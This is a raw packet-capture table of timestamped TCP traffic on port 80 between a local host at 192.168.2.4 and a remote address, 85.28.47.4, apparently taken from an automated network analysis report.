Jun 28, 2024 22:31:58.163547993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163558960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163589001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163610935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163633108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163645029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163676023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163690090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163697004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163707018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163736105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163748026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173027992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173100948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173126936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173136950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173172951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173209906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173221111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173249960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173276901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173413992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173424006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173465014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173486948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173496008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173506975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.173533916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.173552990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174257994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174284935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174293041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174309969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174335957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174616098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174659967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174674988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174685955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174715042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174732924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.174787998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174798012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.174837112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.175488949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.175538063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.244736910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244795084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244796991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.244805098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244831085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244832039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.244849920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.244865894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.244941950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244951963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244961023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.244981050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.245016098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.255927086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.255997896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256011009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256022930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256055117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256072044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256110907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256218910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256231070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256243944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256261110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256278992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256362915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256373882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256386042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256397963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.256406069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256433010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.256455898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.257072926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.257123947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.257177114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.257220030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.265721083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265786886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.265805960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265815973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265851021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.265933990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265944004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265953064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.265973091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266000986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266151905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266191006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266244888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266279936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266285896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266293049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266315937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266330957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266341925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266351938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266380072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266391039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266500950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266511917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266520977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266530991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.266540051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266556978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.266583920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267215014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267277002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267285109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267296076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267323971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267334938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267411947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267422915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267451048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267462015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267509937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267520905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.267549038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.267565966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268193007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268234015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268249989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268260002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268287897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268297911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268338919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268349886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268358946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268373966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.268378973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268403053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.268429041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.269073963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.269117117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.327369928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.327445984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.327450991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.327461958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.327492952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.327505112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.337234020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337243080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337253094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337270021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337280035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337285042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.337291956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337301970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.337301970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337341070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.337600946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337647915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.337650061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.337696075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348522902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348560095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348566055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348571062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348596096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348598003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348615885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348635912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348695040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348711967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348731041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348742008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348854065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348865986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348876953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.348900080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.348932028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.358617067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358635902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358647108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358665943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.358676910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.358810902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358823061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358833075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358844995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.358850956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.358874083 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.358896017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359045029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359056950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359066963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359090090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359101057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359173059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359219074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359235048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359246969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359256983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359281063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359312057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359426975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359448910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359473944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359498978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359513998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359524965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359536886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359551907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359559059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359581947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359728098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359745026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359755993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359766960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359771013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359780073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359792948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359795094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.359818935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.359829903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360343933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360356092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360366106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360383987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360394001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360411882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360476017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360491991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360503912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360515118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360515118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360533953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360553980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360728979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360768080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.360786915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360797882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.360835075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361156940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361198902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361210108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361221075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361249924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361402035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361412048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361423969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361437082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361443996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361455917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361479044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361607075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361618996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361629009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.361654997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.361690998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362095118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362135887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362140894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362149000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362173080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362184048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362303019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362314939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362325907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362337112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362344980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362355947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362375021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362540007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362550974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362561941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.362579107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362600088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.362982035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363020897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363040924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363053083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363081932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363091946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363185883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363198042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363208055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363220930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363224983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363239050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363264084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363457918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363470078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363481045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.363496065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363507986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.363526106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.420161009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420172930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420186996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420198917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420208931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420219898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.420243979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.420283079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.429785013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429836988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429840088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.429847956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429876089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.429887056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.429950953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429960012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429970026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.429999113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430021048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430080891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430092096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430103064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430130005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430156946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430253029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430262089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430296898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430309057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430375099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430386066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430418968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430514097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430524111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430565119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.430600882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430613995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.430655956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441319942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441365004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441369057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441379070 CEST	80	49731	85.28.47.4	192.168.2.4
